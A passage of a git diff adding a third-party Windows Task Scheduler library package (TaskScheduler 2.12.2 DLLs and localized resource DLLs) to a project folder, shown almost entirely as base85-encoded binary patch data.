z16AsWbu+db9EMY9F<#wR=A~l^WzUndhTit*54LSxb??FI-n}p9-&G`EyjZzuZ^ykg zMI~SVFMC(j>KE&u-1E&FpZR?Aic2MLKbX_>>uvjsPAb#2`(Dc2J*0TwyzTo|X$Ka+ zb<>v)|LFcz2OeMlc;*8oITK&}=)Ox?MN3XU{L9d-r_X#N_gvYlX}k8W>ph-6>RY=1 zH|LK%@_e1L_KjH*n?9&BQB=JovF?xHsCIlKSsdR#Selx`@ns-#if=LH2%N}+hRN+# zg?l{(c(DYy4^Mmo(ROTcBgiSByf30a$IG97J(BU_>C=HzJn%BW>&E#S!Ou?k+~dfJ zfU(8mi;6wG)`kvYypynhT0*2Bo2eek=W-}yDk0g9O@~qDS0m81PYu!w@`w|ui(gh` zP2DP9KHS0{Y?!u(v568JTdmqP(H4%p4@Y&??qqD5#3uD6HGkm{_Z1ZQ=K2bJ^BK#K zSh~;S^?6`4>e{j2UJ!5g9Q8T%QZM&68V9ne!Z0f}twC0GXDus=hmxJHFJ^;>__fQy z{omeU5J;vVn#q*T&J2}P<_WI`ZC$BTGp8|K$J2^%Z$|ZV6Yf=PHF~uuc`nDe7WZY& zuWszwVW0ega@^U`+?{O*yH#*;e%GS~k$6>NAb~3trRelRRi0X$$*71+R~{`JQR=0W zngw{gnkEp~(P5m97NXoswHi9lrE&YY4CNi#spVYgGv<*?3=Bb5RwswT&|J0(3X^dgO@&dzamq~aV|K!qVX z5fVp7E60E2C9;R=@l?7AGz2W@$;o9fwp?Du^Pcye}`v%QTNI0at*{01r3E zsL*Z+Z<7UXp^xxVqu`18wNOOfjc#ge87sn9MqEZSWW+r}yeV_M;_l=S&2_-rl2|?D zV-q@)PvX}7-}Ui`=us|Foq&Fgu^^vnvb0yN#0Qte>M=|4)r8j~@Rd_JZG}(R0CSuj zf`@%#Mf&i&8})n)8!I*@vSUSzo>m-jb^T2vCt80hd)ABiIy(TZH!7vZz4-r&Yq5xH vGVlJ;9VoVo1zj2Zp1k8+4=r5!m+Q~L19+j)dF$s1-y(kwX8*-T#{>TZcnSFQ literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..9c72833edc57bd0f074ab0f93a87c50247d019a1 GIT binary patch literal 10240 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 LLG7<}bS&^c`kzgu literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..9d0d0e8405c25140ad42d25cf9a9036aa06fa24b GIT binary patch literal 9728 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 E09az7;{X5v literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..0ac43a2ec671f7c8632f739e5aae2746ec19bdf9 GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000000000000000000000000000000000000..8d86a5d6de7e199aa4b5ee4002757a3da0a29ecb GIT binary patch literal 333312 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 